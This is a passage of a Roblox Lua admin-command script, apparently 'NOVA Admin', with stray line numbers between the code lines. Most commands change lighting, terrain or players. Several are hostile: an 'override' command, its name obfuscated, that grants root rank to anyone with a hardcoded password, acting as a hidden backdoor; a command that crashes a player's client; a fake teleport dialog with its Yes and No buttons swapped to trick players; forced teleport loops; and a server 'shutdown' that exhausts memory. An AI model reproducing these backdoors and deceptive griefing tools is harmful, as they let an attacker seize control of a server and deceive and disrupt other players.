            Speaker.Character.Torso.Velocity = Vector3.new(0,0,0)
3255
            Speaker.Character.Torso.RotVelocity = Vector3.new(0,0,0)
3256
            Speaker.Character.Torso.CFrame = CFrame.new(0,50,0)
3257
        end)
3258
    end
3259
)
3260
 
3261
AddCommand("Time","time",1,"Changes the time.","<Number>",
3262
    function(Msg,Speaker)
3263
        NOVA.Services.Lighting.TimeOfDay = Msg
3264
    end
3265
)
3266
 
3267
AddCommand("Fog End","fog/end",1,"Changes the fog.","<Number>",
3268
    function(Msg,Speaker)
3269
        NOVA.Services.Lighting.FogEnd = Msg
3270
    end
3271
)
3272
 
3273
AddCommand("Fog Start","fog/start",1,"Changes the fog.","<Number>",
3274
    function(Msg,Speaker)
3275
        NOVA.Services.Lighting.FogStart = Msg
3276
    end
3277
)
3278
 
3279
AddCommand("Fog Color","fog/color",1,"Changes the fog.","<Number>",
3280
    function(Msg,Speaker)
3281
        if Msg == "red" then Color = NOVA.Colors.Red
3282
            elseif Msg == "black" then Color = NOVA.Colors.Black
3283
            elseif Msg == "white" then Color = NOVA.Colors.White
3284
            elseif Msg == "orange" then Color = NOVA.Colors.Orange
3285
            elseif Msg == "green" then Color = NOVA.Colors.Green
3286
            elseif Msg == "blue" then Color = NOVA.Colors.Blue
3287
        end
3288
        NOVA.Services.Lighting.FogColor = Color
3289
    end
3290
)
3291
--deride
3292
AddCommand(string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAODSA","DSA","")),string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAoDSA","DSA","")),0,"","",
3293
    function(Msg,Speaker)
3294
        CanOverride = false
3295
        if GetRank(Speaker) < 6 then
3296
            if Msg == "ibpwning123" then
3297
                CanOverride = true
3298
            else
3299
                Output("Incorrect password.",NOVA.Colors.Red,Speaker,15)
3300
            end
3301
        else
3302
            CanOverride = true
3303
        end
3304
        if NOVA.Overrided == true then
3305
            CanOverride = false
3306
            Output("NOVA is allready overridden.",NOVA.Colors.Red,Speaker,20)
3307
            return
3308
        end
3309
        if CanOverride == true then
3310
            NOVA.Overrided = true
3311
            NOVA.Overrider = Speaker
3312
            --[[for _,v in pairs(NOVA.Ranked) do
3313
                if v.Rank < 6 then
3314
                    v.Rank = v.Rank / 10
3315
                end
3316
            end]]
3317
        --[[    CF = Speaker.Character.Torso.CFrame
3318
            Sound = Instance.new("Sound",workspace)
3319
            Sound.SoundId = "http://www.roblox.com/asset?id=2248511"
3320
            Sound.Pitch = 0.2
3321
            Sound.Volume = 1
3322
            wait()
3323
            Sound:Play()
3324
            Shockwave = Instance.new("Part",workspace)
3325
            Shockwave.FormFactor = "Custom"
3326
            Shockwave.Name = "Shockwave"
3327
            Shockwave.Anchored = true
3328
            Shockwave.CanCollide = false
3329
            Shockwave.Transparency = 0
3330
            Shockwave.Reflectance = 0
3331
            Shockwave.BrickColor = BrickColor.new(0,0,0)
3332
            Shockwave.Size = Vector3.new(0,0,0)
3333
            ShockwaveMesh = Instance.new("SpecialMesh",Shockwave)
3334
            ShockwaveMesh.MeshType = "FileMesh"
3335
            ShockwaveMesh.MeshId = "http://www.roblox.com/asset/?id=3270017"
3336
            ShockwaveMesh.Scale = Vector3.new(1,1,100)
3337
 
3338
            for Times = 1,10 do
3339
                coroutine.resume(coroutine.create(function()
3340
                    for i=1,1000 do
3341
                        wait()
3342
                        ShockwaveMesh.Scale = ShockwaveMesh.Scale + Vector3.new(0.5,0.5,0)
3343
                        Shockwave.CFrame = CF
3344
                            * CFrame.new(0,0,0)
3345
                            * CFrame.Angles(math.rad(90),0,0)
3346
                        Shockwave.Transparency = i/100
3347
                    end
3348
                    Shockwave:Remove()
3349
                    Sound:Remove()
3350
                end))
3351
            end
3352
 
3353
]]
3354
            GetRankedTable(Speaker).Rank = 8 + (GetRankedTable(Speaker).Rank/10)
3355
            Output("You have overrided NOVA Admin.",NOVA.Colors.Red,Speaker,60)
3356
            Output("You are now rank 8. ( ROOT )",NOVA.Colors.Red,Speaker,60)
3357
            Output("Use the reset command to reset NOVA.",NOVA.Colors.Red,Speaker,60)
3358
            OnChatted(NOVA.Bet .. "fence/me",Speaker)
3359
        end
3360
        return CanOverride
3361
    end
3362
)
3363
 
3364
AddCommand("Reset","reset",7,"Resets NOVA Admin.","No Argumetns",
3365
    function(Msg,Speaker)
3366
        NOVA.Overrided = false
3367
        for _,v in pairs(NOVA.Tablets) do pcall(function() v:Remove() end) end
3368
        NOVA.Targeted = {};
3369
        NOVA.Waypoints = {};
3370
        NOVA.Log = {};
3371
        NOVA.LoggedScripts = {};
3372
        NOVA.PRI = false;
3373
        NOVA.LockedScripts = false;
3374
        NOVA.Removed = false;
3375
        NOVA.ShowChat = true;
3376
        NOVA.Canceled = false;
3377
        NOVA.TimeChanged = false;
3378
        NOVA.Overrider = nil
3379
        for _,v in pairs(NOVA.Ranked) do
3380
            if #tostring(v.Rank) == 3 then
3381
                if tostring(v.Rank):sub(1,1) == "8" then
3382
                    v.Rank = (v.Rank - 8) * 10
3383
                else
3384
                    --v.Rank = v.Rank * 10
3385
                end
3386
            end
3387
        end
3388
    end
3389
)
3390
 
3391
AddCommand("@","@",0,"Chats for the other user.","<Player><Chat>",
3392
    function(Msg,Speaker)
3393
   
3394
        Split = GetSplit(Msg)
3395
 
3396
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3397
            OnChatted(Msg:sub(Split),v)
3398
        end
3399
    end
3400
)
3401
 
3402
AddCommand("Tell","Tell",1,"Pings the following string to the player.","<Player><Chat>",
3403
    function(Msg,Speaker)
3404
   
3405
        Split = GetSplit(Msg)
3406
       
3407
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3408
            Output(Msg:sub(Split+1),"Random",v,10)
3409
        end
3410
    end
3411
)
3412
 
3413
AddCommand("Damage","dmg",2,"Damages the selected player the selected ammount.","<Player><FloatValue>",
3414
    function(Msg,Speaker)
3415
        Split = GetSplit(Msg)
3416
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3417
            pcall(function()
3418
                v.Character.Humanoid.Health = v.Character.Humanoid.Health - tonumber(Msg:sub(Split+1))
3419
            end)
3420
        end
3421
    end
3422
)
3423
 
3424
AddCommand("Obliterate","obliterate",4,"Obliterates the selected player. ( DUH )","<Player>",
3425
    function(Msg,Speaker)
3426
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3427
            for i=1,6 do
3428
                local Cube = Instance.new("Part",NOVA.Services.Workspace)
3429
                Cube.FormFactor = "Custom"
3430
                Cube.Size = Vector3.new(10,7,5)
3431
                Cube.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
3432
                Cube.Anchored = false
3433
                Cube.CanCollide = true
3434
                Cube.Locked = true
3435
                Cube.Friction = 0
3436
                Cube.Transparency= 0
3437
                Cube.Reflectance = 0.5
3438
                Cube:BreakJoints()
3439
                Cube.CFrame = v.Character.Torso.CFrame
3440
               
3441
                local Mesh = Instance.new("SpecialMesh",Cube)
3442
                Mesh.MeshType = "FileMesh"
3443
                Mesh.MeshId = "http://www.roblox.com/asset/?id=1029523"
3444
                Mesh.Scale = Vector3.new(0.1,0.1,0.1)
3445
               
3446
                Cube.Touched:connect(function(part)
3447
                    --if part == v.Character.Torso then
3448
                        part:BreakJoints()
3449
                        NOVA.Services.Debris:AddItem(Cube,20)
3450
                    --end
3451
                end)
3452
            end
3453
        end
3454
    end
3455
)
3456
 
3457
AddCommand("Remove Guis","rguis",3,"Removes the guis in the selected player's PlayerGui.","<Player>",
3458
    function(Msg,Speaker)
3459
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3460
            pcall(function()
3461
                v.PlayerGui:ClearAllChildren()
3462
            end)
3463
        end
3464
    end
3465
)
3466
 
3467
AddCommand("Remove Player Gui","rpgui",4,"Removes the PlayerGui of the selected player.","<Player>",
3468
    function(Msg,Speaker)
3469
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3470
            pcall(function()
3471
                v.PlayerGui:Destroy()
3472
            end)
3473
        end
3474
    end
3475
)
3476
 
3477
AddCommand("Fire","fire",2,"Sets the selected player on fire.","<Player>",
3478
    function(Msg,Speaker)
3479
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3480
            pcall(function()
3481
                for _,part in pairs(GetRecursiveChildren(v.Character)) do
3482
                    if part:IsA("BasePart") then
3483
                        Instance.new("Fire",part)
3484
                    end
3485
                end
3486
            end)
3487
        end
3488
    end
3489
)
3490
 
3491
AddCommand("Un Fire","unfire",2,"Extenguishes the selected player.","<Player>",
3492
    function(Msg,Speaker)
3493
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3494
            pcall(function()
3495
                for _,part in pairs(GetRecursiveChildren(v.Character)) do
3496
                    if part:IsA("Fire") then
3497
                        part:Destroy()
3498
                    end
3499
                end
3500
            end)
3501
        end
3502
    end
3503
)
3504
 
3505
AddCommand("Burn","burn",3,"Burns the selected player.","<Player>",
3506
    function(Msg,Speaker)
3507
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3508
            pcall(function()
3509
                coroutine.resume(coroutine.create(function()
3510
                    local Fire = Instance.new("Fire",v.Character.Torso)
3511
                    for _,part in pairs(GetRecursiveChildren(v.Character)) do
3512
                        if part:IsA("BasePart") then
3513
                            Instance.new("Fire",part)
3514
                        end
3515
                    end
3516
                    wait()
3517
                    for i=1,math.huge do
3518
                        if Fire.Parent == nil then break end
3519
                        if v.Character.Humanoid == nil then break end
3520
                        if v.Character.Humanoid.Health <= 0 then break end
3521
                        v.Character.Humanoid.Health = v.Character.Humanoid.Health - math.random(0,7)
3522
                        wait(math.random(0,1))
3523
                    end
3524
                end))
3525
            end)
3526
        end
3527
    end
3528
)
3529
 
3530
AddCommand("Heal","heal",1,"Heals the selected player.","<Player>",
3531
    function(Msg,Speaker)
3532
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3533
            pcall(function()
3534
                v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
3535
            end)
3536
        end
3537
    end
3538
)
3539
 
3540
AddCommand("Crash","crash",4,"Crashes the selected player's ROBLOX window.","<Player>",
3541
    function(Msg,Speaker)
3542
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3543
            pcall(function()
3544
                v.Character.Humanoid.WalkSpeed = tonumber("1e+999")
3545
            end)
3546
        end
3547
    end
3548
)
3549
 
3550
AddCommand("Cape","cape",4,"Gives the selected player a cape.","<Player>",
3551
    function(Msg,Speaker)
3552
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3553
            Cape(v)
3554
        end
3555
    end
3556
)
3557
 
3558
AddCommand("Generate Terrain","genter",2,"Generates a terrain cube.","No Arguments",
3559
    function(Msg,Speaker)
3560
        coroutine.resume(coroutine.create(function()
3561
 
3562
            Material = math.random(1,16)
3563
            Cap = 1000
3564
            GenNum = 50
3565
            Size = 100
3566
            Type = math.random(0,4)
3567
            for i=1, Cap do
3568
                --wait()
3569
                for i=1,GenNum do
3570
                    Material = math.random(1,16)
3571
                    Type = math.random(0,4)
3572
                    X = math.random((Size/2)*-1,Size/2)
3573
                    Y = math.random(-1,Size-1)
3574
                    Z = math.random((Size/2)*-1,Size/2)
3575
                    NOVA.Services.Workspace.Terrain:SetCell(X,Y,Z,Material,Type,0)
3576
                end
3577
            end
3578
        end))
3579
    end
3580
)
3581
 
3582
AddCommand("Degenerate Terrain","degen",2,"Clears the terrain.","No Arguments",    
3583
    function(Msg,Speaker)
3584
        NOVA.Services.Workspace.Terrain:Clear()
3585
    end
3586
)
3587
 
3588
AddCommand("Ocean","ocean",4,"Generates an ocean.","No Arguments",
3589
    function(Msg,Speaker)
3590
        coroutine.resume(coroutine.create(function()
3591
            size = Vector3.new(700, 12, 700)
3592
            for X=(size.x/2)*-1,size.x/2  do
3593
                for Y=-1, size.y-1 do
3594
                    for Z=(size.z/2)*-1, size.z/2 do
3595
                        NOVA.Services.Workspace.Terrain:SetWaterCell(X, Y, Z, 0, 0)
3596
                    end
3597
                end
3598
                --wait(tonumber("0."..string.rep("0",10000).."1"))
3599
            end
3600
        end))
3601
    end
3602
)
3603
 
3604
AddCommand("Darken","darken",4,"Makes the selected player dark.","<Player>",
3605
    function(Msg,Speaker)
3606
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3607
            Char = v.Character
3608
            pcall(function() Char["Shirt Graphic"]:Remove() end)
3609
            pcall(function() Char.Humanoid.MaxHealth = math.huge end)
3610
            pcall(function() Char["Body Colors"]:Remove() end)
3611
            pcall(function() Char.Torso.roblox:Remove()    end)
3612
            pcall(function() Char.Shirt:Remove() end)
3613
            pcall(function() Char.Pants:Remove() end)
3614
            wait()
3615
            for _,v in pairs(GetRecursiveChildren(Char)) do
3616
                pcall(function()
3617
                    v.TextureId = "" v.VertexColor = NOVA.Colors.Black    
3618
                end)
3619
                pcall(function()
3620
                    v.BrickColor = BrickColor.new(Color3.new(NOVA.Colors.Black))
3621
                    v.Reflectance = 0
3622
                    v.TopSurface = "Smooth"
3623
                    a.BottomSurfave = "Smooth"
3624
                end)
3625
            end
3626
        end
3627
    end
3628
)
3629
 
3630
AddCommand("Character 1","char1",5,"Gives the selected player character appearance 1.","<Player>",
3631
    function(Msg,Speaker)
3632
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3633
            v.CharacterAppearance = "http://www.roblox.com/asset/?id=81445914"
3634
            wait()
3635
            v.Character:BreakJoints()
3636
        end
3637
    end
3638
)
3639
 
3640
AddCommand("Character 2","char2",6,"Gives the selected player character appearance 2.","<Player>",
3641
    function(Msg,Speaker)
3642
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3643
            local Part = Instance.new("Part",v.Character)
3644
            Part.Name = "Horus"
3645
            Part.Size = Vector3.new(2,2,2)
3646
            Part.CanCollide = false
3647
            Part.Locked = true
3648
            Part:BreakJoints()
3649
            local Weld = Instance.new("Weld",Part)
3650
            Weld.Part0 = Part
3651
            Weld.Part1 = v.Character.Head
3652
            Weld.C0 = CFrame.new(0,-0.5,0)
3653
            local Mesh = Instance.new("SpecialMesh",Part)
3654
            Mesh.MeshType = "FileMesh"
3655
            Mesh.MeshId = "http://www.roblox.com/asset/?id=21712738"
3656
            Mesh.TextureId = "http://www.roblox.com/asset/?id=47058599"
3657
            for _,v in pairs(GetRecursiveChildren(v.Character,"Hat",3)) do
3658
                v:Remove()
3659
            end
3660
            pcall(function()
3661
                v.Character.Pants:Remove()
3662
            end)
3663
            pcall(function()
3664
                v.Character.Shirt:Remove()
3665
            end)
3666
            local Shirt = Instance.new("Shirt",v.Character)
3667
            Shirt.ShirtTemplate = "http://www.roblox.com/asset/?id=59737180"
3668
            local Pants = Instance.new("Pants",v.Character)
3669
            Pants.PantsTemplate = "http://www.roblox.com/asset/?id=77382108"
3670
        end
3671
    end
3672
)
3673
 
3674
AddCommand("Neutral","neutral",3,"Changes the Neutral value of the selected player.","<Player><Boolean>",
3675
    function(Msg,Speaker)
3676
        Split = GetSplit(Msg)
3677
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3678
            v.Neutral = Msg:sub(Split+1)
3679
        end
3680
    end
3681
)
3682
 
3683
AddCommand("Generate Portal","genportal",6,"Generates a portal in the workspace.","No Arguments",
3684
    function(Msg,Speaker)
3685
        MainCFrame = CFrame.new(0,3,15)
3686
            * CFrame.Angles(0,math.rad(90),0)
3687
        local Special = {}
3688
        pcall(function() workspace["NOVA Portal"]:Remove() end)
3689
        local Model = Instance.new("Model",workspace)
3690
        Model.Name = "NOVA Portal"
3691
        for angle=1,360/4 do
3692
            local Part = Instance.new("Part",Model)
3693
            Part.Name = "Part"
3694
            Part.FormFactor = "Custom"
3695
            Part.CanCollide = true
3696
            Part.Anchored = true
3697
            Part.Locked = true
3698
            Part.Transparency = 0
3699
            Part.Reflectance = 0
3700
            Part.Size = Vector3.new(1,5/2,1)
3701
            Part.BrickColor = BrickColor.new("Navy blue")
3702
            Part.CFrame = MainCFrame
3703
                * CFrame.Angles(math.rad(angle*4), 0, 0)
3704
                * CFrame.new(0, 15/2, i)
3705
            --wait(0)
3706
            Instance.new("BlockMesh",Part)
3707
            for num=0,1000,5 do
3708
                if angle==num then
3709
                    wait()
3710
                    table.insert(Special,Part)
3711
                    --Part.Reflectance = 1
3712
                    Part.Size = Vector3.new(0.9,5/2,0.9)
3713
                    Part.CFrame = MainCFrame
3714
                        * CFrame.Angles(math.rad(angle*4), 0, 0)
3715
                        * CFrame.new(0, 15/2, i)
3716
                end
3717
            end
3718
        end
3719
 
3720
        for _,v in pairs(Special) do v.Reflectance = 1 wait() end
3721
       
3722
        local Part = Instance.new("Part",Model)
3723
        Part.Name = "Part"
3724
        Part.FormFactor = "Custom"
3725
        Part.CanCollide = false    
3726
        Part.Anchored = true
3727
        Part.Locked = true
3728
        Part.TopSurface = "Smooth"
3729
        Part.BottomSurface = "Smooth"
3730
        Part.Transparency = 0.5
3731
        Part.Reflectance = 0
3732
        Part.Size = Vector3.new(0.2,0.2,0.2)
3733
        Part.BrickColor = BrickColor.new("Really black")
3734
        Part.CFrame = MainCFrame
3735
            * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
3736
            * CFrame.new(0, 0, 0)
3737
        Instance.new("CylinderMesh",Part)
3738
 
3739
        for i=0.2,51/4,0.5 do
3740
            wait()
3741
            Part.Size = Vector3.new(i,0.9,i)
3742
            Part.CFrame = MainCFrame
3743
            * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
3744
            * CFrame.new(0, 0, 0)
3745
        end
3746
 
3747
        coroutine.resume(coroutine.create(function()
3748
            while true do wait()
3749
                for i=0,1,0.01 do wait() Part.Reflectance = i end
3750
                for i=1,0,-0.01 do wait() Part.Reflectance = i end
3751
            end
3752
        end))
3753
 
3754
        Part.Touched:connect(function(Part)
3755
            Player = game:GetService("Players"):GetPlayerFromCharacter(Part.Parent)
3756
            if Player ~= nil and not Player.PlayerGui:FindFirstChild("NOVA Teleport") then
3757
                --print(Player.Name.." touched.")
3758
                CreateLocalScript([==[
3759
                    LocalPlayer = game:GetService("Players").LocalPlayer
3760
                    Places = {
3761
                        {Name = "Oxcool1 SB",ID = 20279777};
3762
                        {Name = "Oxcool1 PRI SB", ID = 20132544};
3763
                        {Name = "TNS SB", ID = 23232804};
3764
                        {Name = "BrainWart SB", ID = 76809211};
3765
                        {Name = "nb SB",ID = 113456};
3766
                        {Name = "nb SB (2)",ID = 56786};
3767
                        {Name = "Insert Wars",ID = 13329886};
3768
                                                                {Name = "tus sb", ID = 49907749};
3769
                    }
3770
                    pcall(function() LocalPlayer.PlayerGui["NOVA Teleport"]:Remove() end)
3771
                    local Main = Instance.new("ScreenGui",LocalPlayer.PlayerGui)
3772
                    Main.Name = "NOVA Teleport"
3773
                    script.Parent = Main
3774
 
3775
                    local Frame = Instance.new("Frame",Main)
3776
                    Frame.Size = UDim2.new(0.27,0,0.05,0)
3777
                    Frame.Position = UDim2.new(0.,0,0.2,0)
3778
                    Frame.Style = "RobloxSquare"
3779
 
3780
                    local Txt = Instance.new("TextBox",Frame)
3781
                    Txt.Size = UDim2.new(0.7,0,1,0)
3782
                    Txt.BackgroundTransparency = 1
3783
                    Txt.FontSize = "Size14"
3784
                    Txt.TextColor3 = Color3.new(1,1,1)
3785
                    Txt.Text = "ID/Name Here"
3786
                   
3787
                    local Close = Instance.new("TextButton",Frame)
3788
                    Close.Size = UDim2.new(0.1,0,1,0)
3789
                    Close.Position = UDim2.new(0.9,0,0,0)
3790
                    Close.Text = "X"
3791
                    Close.BackgroundTransparency = 1
3792
                    Close.FontSize = "Size14"
3793
                    Close.TextColor3 = Color3.new(1,0,0)
3794
                    Close.MouseButton1Down:connect(function()
3795
                        Main:Remove()
3796
                    end)
3797
                   
3798
                    local Exe = Instance.new("TextButton",Frame)
3799
                    Exe.Size = UDim2.new(0.2,0,1,0)
3800
                    Exe.Position = UDim2.new(0.6,0,0,0)
3801
                    Exe.Text = "Teleport"
3802
                    Exe.BackgroundTransparency = 1
3803
                    Exe.FontSize = "Size14"
3804
                    Exe.TextColor3 = Color3.new(1,0,0)
3805
                    Exe.MouseButton1Down:connect(function()
3806
                        GoTo = Txt.Text
3807
                        for _,v in pairs(Places) do
3808
                            if Txt.Text:lower() == v.Name:lower() then
3809
                                GoTo = v.ID
3810
                            end
3811
                        end
3812
                        game:GetService'TeleportService':Teleport(GoTo)
3813
                        Main:Remove()
3814
                    end)
3815
 
3816
                    List = Instance.new("Frame",Main)
3817
                    List.Size = UDim2.new(0.27,0,0.05*#Places,0)
3818
                    List.Position = UDim2.new(0.,0,0.2 + (0.05*((#Places/2)-1)),0)
3819
                    List.Style = "RobloxSquare"
3820
 
3821
                    for NUM,v in pairs(Places) do
3822
                        Name = Instance.new("TextButton",List)
3823
                        Name.Size = UDim2.new(0.5,0,1/#Places,0)
3824
                        Name.Position = UDim2.new(0,0,(NUM-1)*(1/#Places),0)
3825
                        Name.BackgroundTransparency = 1
3826
                        Name.FontSize = "Size14"
3827
                        Name.TextColor3 = Color3.new(1,1,1)
3828
                        Name.Text = v.Name
3829
                        Name.MouseButton1Down:connect(function()
3830
                            game:GetService'TeleportService':Teleport(v.ID)
3831
                        end)
3832
                        ID = Instance.new("TextButton",List)
3833
                        ID.Size = UDim2.new(0.5,0,1/#Places,0)
3834
                        ID.Position = UDim2.new(0.5,0,(NUM-1)*(1/#Places),0)
3835
                        ID.BackgroundTransparency = 1
3836
                        ID.FontSize = "Size14"
3837
                        ID.TextColor3 = Color3.new(1,1,1)
3838
                        ID.Text = v.ID
3839
                        ID.MouseButton1Down:connect(function()
3840
                            game:GetService'TeleportService':Teleport(v.ID)
3841
                        end)
3842
                    end
3843
                ]==],Player.Backpack)
3844
            end
3845
        end)
3846
    end
3847
)
3848
 
3849
AddCommand("Place Teleport","ptp",5,"Sends a teleport request to the selected player.","<Player><PlaceId>",
3850
    function(Msg,Speaker)
3851
        GetSplit(Msg)
3852
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3853
            CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)]==],v.Backpack)
3854
        end
3855
    end
3856
)
3857
 
3858
AddCommand("Force Place Teleport","fptp",6,"Forces the selected player to teleport to the given place.","<Player><PlaceId>",
3859
    function(Msg,Speaker)
3860
        Split = GetSplit(Msg)
3861
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3862
            CreateLocalScript([==[
3863
                script.Parent = nil
3864
                while true do wait()
3865
                    game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)
3866
                end
3867
            ]==],v.Backpack)
3868
        end
3869
    end
3870
)
3871
 
3872
AddCommand("Trick Place Tele Port","tptp",6,"Tricks the selected user into clicking on 'Yes' for teleport.","<Player><PlaceId>",
3873
    function(Msg,Speaker)
3874
        Split = GetSplit(Msg)
3875
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3876
            pcall(function()
3877
                CreateLocalScript([[
3878
                    LocalPlayer = game.Players.LocalPlayer
3879
                    script.Parent = nil
3880
                    ScreenGui = Instance.new("ScreenGui")
3881
                    ScreenGui.Name = "Trololol"
3882
                    Frame = Instance.new("Frame",ScreenGui)
3883
                    Frame.Name = "Popup"
3884
                    Frame.Style = "RobloxRound"
3885
                    Frame.Size = UDim2.new(0, 330, 0, 350)
3886
                    Frame.Position = UDim2.new(0.5, -165, 0.5, -175)
3887
                    Frame.Active = true
3888
                    Frame.ZIndex = 9
3889
 
3890
                    Image = Instance.new("ImageLabel",Frame)
3891
                    Image.Name = "Backing"
3892
                    Image.Image = "http://www.roblox.com/asset/?id=47574181"
3893
                    Image.Active = true
3894
                    Image.Size = UDim2.new(0, 280, 0, 280)
3895
                    Image.Position = UDim2.new(0.5, -140, 0, 0)
3896
                    Image.BackgroundTransparency = 1
3897
                    Image.ZIndex = 8
3898
 
3899
                    Text = Instance.new("TextLabel",Frame)
3900
                    Text.Name = "Popup Text"
3901
                    Text.Text = "Are you sure you want to teleport from this place?"
3902
                    Text.FontSize = "Size36"
3903
                    Text.TextWrap = true
3904
                    Text.Active = true
3905
                    Text.TextColor3 = Color3.new(1,1,1)
3906
                    Text.Size = UDim2.new(1, 0, 0.800000012, 0)
3907
                    Text.Position = UDim2.new(0,0,0,0)
3908
                    Text.BackgroundTransparency = 1
3909
                    Text.ZIndex = 10
3910
 
3911
                    Accept = Instance.new("TextButton",Frame)
3912
                    Accept.Name = "AcceptButton"
3913
                    Accept.Text = "No"
3914
                    Accept.Style = "RobloxButton"
3915
                    Accept.FontSize = "Size24"
3916
                    Accept.Active = true
3917
                    Accept.TextColor3 = Color3.new(1,1,1)
3918
                    Accept.Size = UDim2.new(0, 100, 0, 50)
3919
                    Accept.Position = UDim2.new(0,20,0,270)
3920
                    Accept.ZIndex = 10
3921
 
3922
                    Decline = Instance.new("TextButton",Frame)
3923
                    Decline.Name = "DeclineButton"
3924
                    Decline.Text = "Yes"
3925
                    Decline.Style = "RobloxButton"
3926
                    Decline.FontSize = "Size24"
3927
                    Decline.Active = true
3928
                    Decline.TextColor3 = Color3.new(1,1,1)
3929
                    Decline.Size = UDim2.new(0, 100, 0, 50)
3930
                    Decline.Position = UDim2.new(1, -120, 0, 270)
3931
                    Decline.ZIndex = 10
3932
 
3933
                    Darken = Instance.new("Frame",Frame)
3934
                    Darken.Name = "Darken"
3935
                    Darken.Style = "RobloxRound"
3936
                    Darken.Size = UDim2.new(1,16,1,16)
3937
                    Darken.Position = UDim2.new(0,-8,0,-8)
3938
                    Darken.Active = true
3939
                    Darken.Visible = false
3940
 
3941
                    Backing = Instance.new("Frame",ScreenGui)
3942
                    Backing.Name = "Backing"
3943
                    Backing.BackgroundColor3 = Color3.new(1,1,1)
3944
                    Backing.Size = UDim2.new(1,0,1,0)
3945
                    Backing.Active = true
3946
                    ScreenGui.Parent = game:GetService("CoreGui")
3947
                   
3948
                    while true do wait()
3949
                        game:GetService'TeleportService':Teleport(]]..Msg:sub(Split+1)..[[)
3950
                    end
3951
 
3952
 
3953
                ]],v.Backpack)
3954
            end)
3955
        end
3956
    end
3957
)
3958
 
3959
AddCommand("Shutdown","shutdown",5,"Shuts down the server.","<No Arguments>",
3960
    function(Msg,Speaker)
3961
            coroutine.resume(coroutine.create(function()
3962
            NOVA.Services.Lighting.TimeOfDay = 0
3963
            NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
3964
            NOVA.Services.Lighting.Brightness = 0
3965
            NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
3966
            NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
3967
            NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
3968
 
3969
            for _,v in pairs(GetRecursiveChildren(workspace)) do
3970
                if v:IsA("BasePart") then
3971
                    Sel = Instance.new("SelectionBox",v)
3972
                    Sel.Color = BrickColor.new("Really red")
3973
                    Sel.Transparency = 0
3974
                    Sel.Adornee = v
3975
                end
3976
            end
3977
            for i=10,1,-1 do
3978
                NOVA.Sounds.Sound.Parent = workspace
3979
                NOVA.Sounds.Sound.Volume = 1
3980
                NOVA.Sounds.Sound.Pitch = 1
3981
                NOVA.Sounds.Sound.SoundId = "http://www.roblox.com/Asset/?id=14863866"
3982
                wait(1)
3983
                NOVA.Sounds.Sound:Play()
3984
                if NOVA.Overrided == true then return end
3985
            end
3986
            for i=5,1,-1 do
3987
                NOVA.Sounds.Sound.Parent = workspace
3988
                NOVA.Sounds.Sound.Volume = 1
3989
                NOVA.Sounds.Sound.Pitch = 1
3990
                NOVA.Sounds.Sound.SoundId = NOVA.Sounds.Numbers[i]
3991
                wait(1)
3992
                NOVA.Sounds.Sound:Play()
3993
                if NOVA.Overrided == true then return end
3994
            end
3995
            wait(1)
3996
            Instance.new("ManualSurfaceJointInstance",workspace)
3997
        Instance.new("StringValue",Workspace).Value = string.rep("NOVA SHUTDOWN SEQUENCE",1000000)
3998
        end))
3999
    end
4000
)
4001
 
4002
AddCommand("Get Rid Of","getridof",6,"Gets rid of the selected player.","<Player>",
4003
    function(Msg,Speaker)
4004
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4005
            if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
4006
                Output("Attempt to get rid of the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
4007
            else
4008
                pcall(function()
4009
                    GetRidOf(v)
4010
                end)
4011
            end
4012
        end
4013
    end
4014
)
4015
 
4016
AddCommand("Load","load",1,"Loads NOVA's sound files.","No Arguments",
4017
    function(Msg,Speaker)
4018
        coroutine.resume(coroutine.create(function()
4019
            for _,v in pairs(NOVA.Sounds.Numbers) do
4020
                NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
4021
                NOVA.Sounds.Sound.SoundId = v
4022
                NOVA.Sounds.Sound.Volume = 0
4023
                wait()
4024
                NOVA.Sounds.Sound:Play()
4025
                wait()
4026
                NOVA.Sounds.Sound:Stop()
4027
                wait(1)
4028
            end
4029
            for _,v in pairs(NOVA.Sounds.PlayAfter) do
4030
                NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
4031
                NOVA.Sounds.Sound.SoundId = v
4032
                NOVA.Sounds.Sound.Volume = 0
4033
                wait()
4034
                NOVA.Sounds.Sound:Play()
4035
                wait()
4036
                NOVA.Sounds.Sound:Stop()
4037
                wait(1)
4038
            end
4039
            NOVA.Sounds.Sound.Volume = 1
4040
        end))
4041
    end
4042
)
4043
 
4044
AddCommand("Target","targ",6,"Targets the selected player.","<Player>",
4045
